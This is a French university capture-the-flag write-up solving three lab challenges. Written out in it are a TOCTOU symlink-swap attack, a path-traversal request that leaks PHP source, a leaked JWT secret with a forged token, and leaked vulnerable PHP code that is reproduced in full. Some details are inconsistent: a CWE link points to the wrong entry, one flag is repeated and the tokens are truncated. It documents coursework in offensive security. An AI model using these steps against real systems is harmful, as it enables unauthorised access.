Identification groupe

- Cours : Sujets spéciaux en informatique et génie logiciel
- Sigle : INF600C
- Session : Hiver 2022
- Groupe : 30
- Enseignant : Philippe Pepos-Petitclerc
- Auteur : Auxence Maury Mbadinga (MBAA12089902)
- Auteur : Ziad Lteif (LTEZ18059802)

Poney

Vulnérabilité(s) :

- CWE-73 External Control of File Name or Path (https://cwe.mitre.org/data/definitions/367.html)

Poney est un court programme qui donne à l'utiliseur un poney arbitraire qui peut changer de nom, d'âge et se faire vendre. l'option de gueuler est inacessible par défaut à l'utilisateur. Comme le code source est caché et que l'utilisateur n'est pas en mesure de le voir, l'option qui s'offre à nous est de tenter de comprendre le fonctionnement interne du programme à l'aide de `ltrace`.

`ltrace` : ltrace is a program that simply runs the specified command until it exits. It intercepts and records the dynamic library calls which are called by the executed process and the signals which are received by that process. It can also intercept and print the system calls executed by the program.

Les premières lignes lors de l'exécution de ltrace donne les informations suivantes:

```
1: getenv("HOME")                                                                  = "/home/ltez"
2: strcpy(0x55a173f02080, "/home/ltez")                                            = 0x55a173f02080
3: strcat("/home/ltez", "/.mon_petit_poney.cfg")                                   =
"/home/ltez/.mon_petit_poney.cfg"
4: fopen("/home/ltez/.mon_petit_poney.cfg", "r")                                   = 0
5: __errno_location()                                                              = 0x7f162c098480
6: puts("On vous donne un poney."On vous donne un poney.
7: )                                                                 = 24
8: fopen("/home/ltez/.mon_petit_poney.cfg", "w")
```

La ligne 3 et 4 nous donne comme information qu'un fichier `.mon_petit_poney.cfg` est ouvert en lecture dans le répertoire `home` de l'utilisateur. Cela nous porte à croire qu'il y a possibilité de tirer profit de ce fichier dont nous aurons vraisemblablement les droits de lecture et d'écriture.

Comme de fait, un `ls -la ~` nous retourne le résultat suivant: `-rw-rw-r-- 1 ltez ltez 56 fev 22 20:47 .mon_petit_poney.cfg`. Le contenu de ce fichier nous révèle des points clés que l'on pourra exploiter pour tenter d'obtenir l'information sensible de `poney`.

```
Nom du poney: LilSebastian
Age du poney: 2
Gueuler: non
```

Changer `gueuler` de `non` à `oui` et lancer `ltrace` de nouveau donne ceci lorsqu'on entre `3` comme option:

```
getenv("HOME")                                                                     = "/home/ltez"
strcpy(0x55f8ca5a5080, "/home/ltez")                                               = 0x55f8ca5a5080
strcat("/home/ltez", "/.mon_petit_poney.cfg")                                      = "/home/ltez/.mon_petit_poney.cfg"
fopen("/home/ltez/.mon_petit_poney.cfg", "r")                                      = 0x55f8cab6d260
__isoc99_fscanf(0x55f8cab6d260, 0x55f8ca3a4270, 0x55f8ca5a5060, 0x55f8ca5a5074)    = 3
fclose(0x55f8cab6d260)                                                             = 0
strcmp("oui", "oui")                                                               = 0
strcmp("oui", "oui")                                                               = 0
puts("Vous aimez votre poney."Vous aimez votre poney.
)                                                          = 24
fprintf(0x7ff3e2af5760, "Nom du poney: %s\nAge du poney: %"..., "LilSebastian", 2, "oui"Nom du poney: LilSebastian
Age du poney: 2
Gueuler: oui
)     = 56
printf("\nMenu:\n1: changer le nom\n2: chan"...
Menu:
1: changer le nom
2: changer l'age
3: gueuler!
4: vendre le poney
0: quitter
)                                           = 91
fflush(0x7ff3e2af5760Choix: )                                                                  = 0
__isoc99_fscanf(0x7ff3e2af4a00, 0x55f8ca3a437c, 0x7fff713d7420, 0x7ff3e28191043
)              = 1
puts("Vous gueulez, c'est tr\303\250s effica"...Vous gueulez, c'est très efficace!
)                                          = 36
fopen("./flag.txt", "r")                                                           = 0
perror("./flag.txt"./flag.txt: Permission denied
)                                                                  = <void>
```

```
exit(1 <no return ...>
+++ exited (status 1) +++
```

On remarque que deux `strcmp` sont fait qui comparent `oui` avec `oui` et finalement un `fopen(./flag.txt, r)` qui échoue. Comme `ltrace` perd les permissions lors de son exécution, on peut assumer que l'ouverture du fichier sert à afficher son contenu. Il suffit donc de lancer `./poney` et de lui donner l'option 3 et le flag est ainsi obtenu.

Une solution alternative pour trouver le flag sans les étapes supplémentaires:

- Étapes de résolution :

> *echo "Nom du poney: Hehe" > ~/.mon_petit_poney.cfg echo "Age du poney: 2" > ~/.mon_petit_poney.cfg echo "Gueuler: oui" > ~/.mon_petit_poney.cfg chmod 777 ~/.mon_petit_poney.cfg /quetes/tp1/poney/poney*

- Resultat du flag :

> *Flag poney: INF600C{je_pourrais_gueuler_dans_le_cul_dun_poney}*

Le `CWE-73` qui y est associé est le contrôle externe du chemin ou du fichier. Comme le fichier de configuration `mon_petit_poney.cfg` est situé dans le répertoire de l'utilisateur, le programme perd le contrôle absolu sur celui-ci et faire confiance à l'utilisateur ouvre la porte à une exploitation inattendue du programme. Il faudrait plutôt utiliser un fichier de configuration dont l'utilisateur ne peut pas écrire (ou lire) dans un répertoire protégé afin d'avoir le plein contrôle de celui-ci.

Quenous

Vulnérabilité(s) :

- CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (https://cwe.mitre.org/data/definitions/367.html)

`Quenous` est un programme qui vérifie que le fichier demandé fait parti de la liste blanche et effectue des opérations mathématiques sur le fichier passé en argument pour retourner un nombre selon les caractères présents dans le fichier. Une exécution du programme avec `./quenous /quetes/tp1/quenous/getflame` retourne ceci:

```
Vérification que c'est que nous pour le fichier /quetes/tp1/quenous/getflame
OK: c'est bien que nous avons trouvé 101120.
Vérification que c'est que nous pour le fichier /lib/x86_64-linux-gnu/libc.so.6
OK: c'est bien que nous avons trouvé 308928.
   )
  ) \
 / ) (
 \(_)/
```

À première vue, le calcul effectué sur le fichier passé en paramètre prend un certain temps à se faire. Le deuxième calcul sur `/lib/x84_64-linux-gnu/lib.so.6` prend un bon 10-13 secondes à se faire vu la grandeur du fichier.

En tentant de relancer le programme avec un lien direct vers getflag retourne ceci:

```
Vérification que c'est que nous pour le fichier /quetes/tp1/quenous/getflag
ERREUR: c'est mal que nous avons trouvé 627136. Votre tentative d'intrusion a été notifiée.
```

Dans cette situation, `ltrace` n'est pas pratique vu que l'on a accès au code source. Le contenu de `listeblanche` nous confirme que si l'on tente d'accéder à `getflag`, l'accès nous sera refusé. La méthode `check` nous confirme également que contourner la liste blanche sera difficile. Nous pouvons malgré tout porter notre attention aux dernières lignes du code:

```
check(argv[1]);
check("/lib/x86_64-linux-gnu/libc.so.6");
execvp(argv[1], argv+1);
```

À première vue, on remarque que l'ordre d'exécution vérifie l'argument 1, la libc et ensuite exécute l'argument 1. Ce qu'on voit là est une vulnérabilité typique TOCTOU - Time-of-check Time-of-use Race Condition. Alors que le programme effectue son check inital de l'argument passé en paramètre, il vérifie par la suite le fichier libc pour exécuter l'argument qui lui était passé en argument. Un attaquant peut entre la vérification initiale de l'argument et son exécution, modifier le contenu de celui-ci pour exécuter un autre fichier arbitraire.

À l'aide de deux terminaux, nous pouvons faire les étapes suivantes.

Sur le premier terminal, nous pouvons créer un dossier temporaire dans lequel on crée un lien symbolique vers getflame. Comme quenous suit les liens symboliques, il va suivre le lien symbolique de l'attaquant et résoudre le check de getflame.

Une fois le check de getflame réussi, comme nous avons 10-12s avant l'exécution de getflame, l'attaquant peut sur un autre terminal remplacer le lien symbolique de getflame à getflag.

Une fois la vérification de libc terminé, le programme suit le lien symbolique de nouveau et prends pour acquis que le fichier a déjà été vérifié. C'est ainsi que nous pouvons réussir à obtenir l'information sensible.

- Étapes de résolution :

> ***Terminal A*** *mkdir /tmp/hehe cd /tmp/hehe ln -s /quetes/tp1/quenous/getflame getflame* ***Terminal B*** */quetes/tp1/quenous/quenous /tmp/hehe/getflame* ***Terminal A*** *rm getflame; ln -s /quetes/tp1/quenous/getflag getflame*

- Resultat du flag :

> *Flag poney: INF600C{je_pourrais_gueuler_dans_le_cul_dun_poney}*

Le CWE associé (CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition) est un autre exemple d'implémentation de code vulnérable courante. En effet, sans nécessairement s'en rendre compte, plusieurs programmes vont vérifier une certaine entrée de l'utilisateur, effectuer d'autres opérations et après un certain temps agir sur l'entrée de l'utilisateur. Il est primordial de vérifier un paramètre à l'instant où il sera utiliser pour éviter la possibilité de modifier le paramètre entre sa vérification et son exécution. Dans le cas de quenous, vérifier libc après l'argument 1 rend la vulnérabilité active et le programme dans son ensemble devient aussitôt fragile.

Pommes.kaa/

Vulnérabilité(s):

- CWE-546: Suspicious Comment (https://cwe.mitre.org/data/definitions/546.html)
- CWE-615: Inclusion of Sensitive Information in Source Code Comments (https://cwe.mitre.org/data/definitions/615.html)
- CWE-256: Plaintext Storage of a Password (https://cwe.mitre.org/data/definitions/256.html)
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (https://cwe.mitre.org/data/definitions/256.html)
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (https://cwe.mitre.org/data/definitions/22.html)

Pommes.kaa est un site web qui permet à un utilisateur d'ajouter diverses pommes dans le site. Le site a quelques pommes présentes par défaut et lors d'une nouvelle session, l'utilisateur peut utiliser la barre d'ajout pour en ajouter des nouveaux qui auront par défaut l'image d'une pomme gala.

Le code source de la page ne contient rien d'intéressant à première vue autre qu'une référence à robots.txt qui nous éclaire sur la présence d'autres fichiers du site soit: `api.php` - Programme PHP responsable de l'ajout des pommes. L'API ne supporte que la méthode PUT et est invoquée lors par le `main.js` pour ajouter la pomme indiquée dans le champ d'entrée. `log.php` - Fichier qui ne semble rien faire autre qu'afficher "faible" à prime abord.

En ouvrant l'inspecteur réseau de Firefox, nous pouvons ajouter une pomme et regarder la réponse de `api.php`. Dans le preview, nous obtenu la première fuite d'informations sensibles. Une fuite d'information de cette nature est souvent accidentelle. Un développeur peut fuiter des informations sensibles sur ses utilisateurs, les services et fonctionnement internes du logiciel, des informations sur le système ou le système de production, etc. Ce sont des informations qui doivent être cachés pour éviter d'ouvrir la porte à une attaque potentielle.

En regardant le fichier `main.js`, nous pouvons remarquer du code commenté dans celui-ci. Notamment la partie suivante:

```
outData = {}
let name = data.get("name");
if (name == "") return false;
outData["name"] = name;
/* images need to be present on the server. there are already a few in images/
 * see image alt attributes on homepage.
 * */
// let image_filename = data.get("image_filename");
// if (image_filename == "") return false;
// object["image_filename"] = image_filename;
```

Lorsque `api.php` est lancé de manière attendue, le contenu de la requête est une chaine de caractère en JSON `{"name": "nom"}`. Dans le code ci-dessus, le `outData["name"] = name` crée la chaine de caractère en format JSON à être utilisé dans `api.php`. Par contre, le `object["image_filename"] = image_filename` est commenté et n'est pas fonctionnel considérant que object n'est pas défini. Comme le principe reste le même, les images utilisés avec les pommes pré-existantes sont encodées en base64 et disponibles dans `index.php`. La balise `alt` nous donne les informations sur l'image qui est utilisée ainsi que son répertoire par exemple: `images/deterre`.

En modifiant la requête de api.php pour `{"name": "index","image_filename": "index.php"}` et en rafraîchissant la page, une pomme est créée avec une image contenant le nom `index.php`. Une analyse du code source de l'image et en décodant la balise encodée en base64 nous obtenu donc le code source complet de `index.php` incluant les informations PHP.

Trois vulnérabilités en soi sont exposées dans ce dernier processus. La mauvaise limitation de la traversée des fichiers, les commentaires suspects dans le code `main.js` et l'inclusion d'informations sensibles en commentaires de code. Encoder du texte en base64 ne le rend pas plus sécuritaire. Dès lors, le commentaire suspect dans le `main.js` peut amener un attaquant à exploiter api.php pour faire fuire le code source des fichiers de l'application. Ces trois vulnérabilités combinées ont permis de fuire tous les fichiers (codes sources en annexe).

Avec les codes sources fuités, il est possible d'affirmer que les fichiers suivants sont présents dans pommes.kaa:

- `index.php` - Page principale.
- `log.php` - Programme qui affiche les logs des ajouts de pommes faites.
- `api.php` - API pour l'ajout de pommes.
- `auth.php` - Authentification et signature du JSON Web Token.
- `user.php` - Classe utilisateur.
- `pommes.php` - Programme contenant les constructeurs des pommes à ajouter.
- `logviewer.php` - Fichier source qui s'occupe de l'affichage des logs dans `log.php`.

Le fichier qui nous intéresse le plus est `auth.php`. Dans celui-ci, il y a la ligne suivante: `$key = trim(file_get_contents(".jwt.secret.txt"));`. La clé secrète du JWT est stockée en texte clair dans un fichier.txt. Les étapes pour faire fuire les codes sources des fichiers peut être appliquée dans cette situation pour trouver la clé secrète pour signer les cookies JWT. La clé étant: `53593deae2db78de908f7720d6abdcc1`. Grâce à cette vulnérabilité majeure, un attaquant peut impersonnifier une autre personne grâce à celle-ci. Le site web utilise deux cookies: un `JWT` et `PHPSESSID`. Le site `jwt.io` permet de créer un token JWT signé avec la clé. En remplaçant le JWT par:

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiTzo0OlwiVXNlclwiOjI6e3M6ODpcInVzZXJuYW1lXCI7czo2OlwiQm9ob3J0XCI7czo0OlwiZm9ydFwiO2I
```

On est essentiellement en train de remplacer l'objet suivant: `{"user":"O:4:\"User\":2:{s:8:\"username\";s:6:\"Bohort\";s:4:\"fort\";b:0;}"}` par `{"user":"O:4:\"User\":2:{s:8:\"username\";s:6:\"Bohort\";s:4:\"fort\";b:1;}"}` (le boolean `false` devient `vrai`).

Un attaquant peut donc avoir accès à `log.php` et avoir accès aux fichiers journaux du site. En regardant le code source de la page, l'attaquant peut voir l'information sensible commentée en base64 qui peut être décodée.

- Étapes de résolution :
  - Flag 1:

    > *Ouvrir dans le navigateur la console réseau et préserver les logs. Ajouter une pomme ayant un nom arbitraire Regarder la réponse de api.php*

  - Flag 2:

    > *Modifier la requête de api.php pour `{"name": "index","image_filename": "index.php"}` Envoyer la requête de nouveau Rafraîchir la page et inspecter l'image de index.php Décoder l'image en base64 pour fuir le code source de index.php*

  - Flag 3:

    > *En fuitant un code source à la fois grâce aux étapes du flag 2, Envoyer une requête avec `{"name": "index","image_filename": "auth.php"}` Décoder la base64 et dans le code source de auth.php on a la ligne `$key = trim(file_get_contents(".jwt.secret.txt"));` En suivant les mêmes étapes pour `.jwt.secret.txt`, on obtient la clé secrète de la signature jwt. À l'aide https://jwt.io/, on peut entrer la valeur du cookie `jwt` et la clé secrète et modifier `b:0` à `b:1`. Remplacer la valeur de notre jwt par:*
    > *`eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiTzo0OlwiVXNlclwiOjI6e3M6ODpcInVzZXJuYW1lXCI7czo2OlwiQm9ob3J0XCI7czo0OlwiZ`*
    > *Naviguer vers pommes.kaa/log.php et inspecter le code source Décoder la base64 pour obtenir le flag.*

  - Flag 4:

- Résultats des flags:

  > *INF600C{on_a_pas_regarde_dans_les_f} 1/4 INF600C{humilite_infiltration} 2/4 INF600C{qu-est-ce-qui-a-dautre-qui-pue-sinon} 3/4*

Annexe

Pommes.kaa codes sources

Code source de `index.php` :

```php
<?php
require 'vendor/autoload.php';
require 'user.php';
use Firebase\JWT\JWT;
use Firebase\JWT\Key;
function jwt_session_start() {
    $cookie_name = "jwt";
    $key = trim(file_get_contents(".jwt.secret.txt"));
    if (!isset($_COOKIE[$cookie_name])) {
        jwt_initialize();
    } else {
        $cookie = $_COOKIE[$cookie_name];
        $decoded = JWT::decode($cookie, new Key($key, 'HS256'));
        $_SESSION["jwt_data"] = (array) $decoded;
    }
}
function jwt_initialize() {
    $cookie_name = "jwt";
    $key = trim(file_get_contents(".jwt.secret.txt"));
    $data = array(
        "user" => serialize(new User())
    );
    $jwt = JWT::encode($data, $key, "HS256");
    setcookie("jwt", $jwt, time() + 86400, "/");
}
?>
```

Code source de `api.php`

```php
<?php
session_start();
require "pommes.php";
if ($_SERVER["REQUEST_METHOD"] == "PUT") {
    $new_pomme_data = json_decode(file_get_contents("php://input"), true);
    $name = "Custommе Pomme 1";
    $img_fname = "images/gala.jpg";
    if (array_key_exists("name", $new_pomme_data)) $name = $new_pomme_data["name"];
    if (array_key_exists("image_filename", $new_pomme_data)) $img_fname = $new_pomme_data["image_filename"];
    echo "Bah j'sais pas, on a pas regardé dans les F, si ?\n";
```

```
    echo "https://kaamelott-soundboard.2ec0b4.fr/#son/on_a_pas_regarde_dans_les_f\n";
    echo "INF600C{on_a_pas_regarde_dans_les_f} 1/4";
    if (str_contains($name, "..")) die("Invalid character");
    if (str_contains($name, "/")) die("Invalid character");
    addPomme($name, $img_fname);
} else {
    die("Unsupported Method.");
}
?>
```

Code source de `pommes.php`

```
<?php
function user_dir() {
    $session = session_id();
    $custom_dir = implode(DIRECTORY_SEPARATOR, ["custom", $session]);
    return $custom_dir;
}
function get_pommes() {
    $pommes = parse_pommes("pommes");
    if (is_dir(user_dir())) {
        $pommes = array_merge($pommes, parse_pommes(user_dir()));
    }
    return $pommes;
}
function parse_pommes($dir) {
    $pommes = array();
    $dir_iter = new DirectoryIterator($dir);
    foreach ($dir_iter as $fileinfo) {
        if (!$fileinfo->isDot() && $fileinfo->getFilename() != "ajouts.log") {
            $filename = implode(DIRECTORY_SEPARATOR, [$dir, $fileinfo->getFilename()]);
            $pomme_content = explode("\n", file_get_contents($filename));
            $pomme = array(
                "name" => $pomme_content[0],
                "path" => $pomme_content[1]
            );
            array_push($pommes, $pomme);
        }
    }
    return $pommes;
}
function addPomme($name, $image_filename) {
    $user_dir = user_dir();
    is_dir($user_dir) || mkdir($user_dir);
    $data = $name . "\n" . $image_filename;
    $filename = implode(DIRECTORY_SEPARATOR, [$user_dir, $name . ".txt"]);
    file_put_contents($filename, $data);
    $now = new DateTime('NOW');
    $logline = "[" . $now->format('c') . "] " . session_id() . " added " . $name . "\n";
    file_put_contents($user_dir . "/ajouts.log", $logline, FILE_APPEND);
}
?>
```

Code source de `auth.php`

```
<?php
require 'vendor/autoload.php';
require 'user.php';
use Firebase\JWT\JWT;
use Firebase\JWT\Key;
function jwt_session_start() {
    $cookie_name = "jwt";
    $key = trim(file_get_contents(".jwt.secret.txt"));
    if (!isset($_COOKIE[$cookie_name])) {
        jwt_initialize();
    } else {
        $cookie = $_COOKIE[$cookie_name];
        $decoded = JWT::decode($cookie, new Key($key, 'HS256'));
        $_SESSION["jwt_data"] = (array) $decoded;
    }
}
function jwt_initialize() {
    $cookie_name = "jwt";
    $key = trim(file_get_contents(".jwt.secret.txt"));
    $data = array(
        "user" => serialize(new User())
    );
    $jwt = JWT::encode($data, $key, "HS256");
    setcookie("jwt", $jwt, time() + 86400, "/");
```

```
}
?>
```

Code source de `user.php`

```php
<?php
class User {
    public string $username;
    public bool $fort;
    public function __construct() {
        $this->username = "Bohort";
        $this->fort = false;
    }
}
?>
```

Code source de `log.php`

```php
<?php
session_start();
require 'vendor/autoload.php';
require 'auth.php';
require 'log_viewer.php';
jwt_session_start();
if (!isset($_COOKIE["jwt"])) die("No JWT");
if (!isset($_SESSION["jwt_data"])) die("JWT not parsed");
if (!isset($_SESSION["jwt_data"]["user"])) die("JWT Payload incomplete");
$user = unserialize($_SESSION["jwt_data"]["user"]);
if ($user->fort !== true) die("Faible");
function logs() {
    $viewer = LogViewer::instance();
    $log_data = $viewer->read();
    echo htmlentities($log_data);
}
?>
```

```php
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Pommes de Bretagne</title>
    <link rel="stylesheet" href="assets/bulma.min.css">
</head>
<body>
    <section class="hero is-primary">
        <div class="hero-body">
            <h1 class="title">Pommes de Bretagne</h1>
        </div>
    </section>
    <section class="section">
        <div class="container">
            <h1 class="title">Logs</h1>
            <pre><?php logs(); ?></pre>
            </div>
        </div>
    </section>
<!-- <?php echo "Flag 3/4: " . getenv("flag3"); ?> -->
</body>
</html>
?>
```

Code source de `logviewer.php`

```php
<?php
require 'pommes.php';
class LogViewer {
    public string $logReaderCmd;
    private static ?LogViewer $singleton = null;
    private function __construct() {
        $this->logReaderCmd = 'tail';
    }
    public static function instance() : LogViewer {
        if (!isset(self::$singleton) || self::$singleton === null) {
            $c = __CLASS__;
            self::$singleton = new $c();
        }
        return self::$singleton;
    }
```

```
    public static function read() : string {
        return system(self::logFile());
    }
    public static function logFile() : string {
        return self::instance()->logReaderCmd . ' ./' . user_dir() . '/ajouts.log';
    }
    public function __wakeup() {
        self::$singleton = $this;
    }
}
?>
```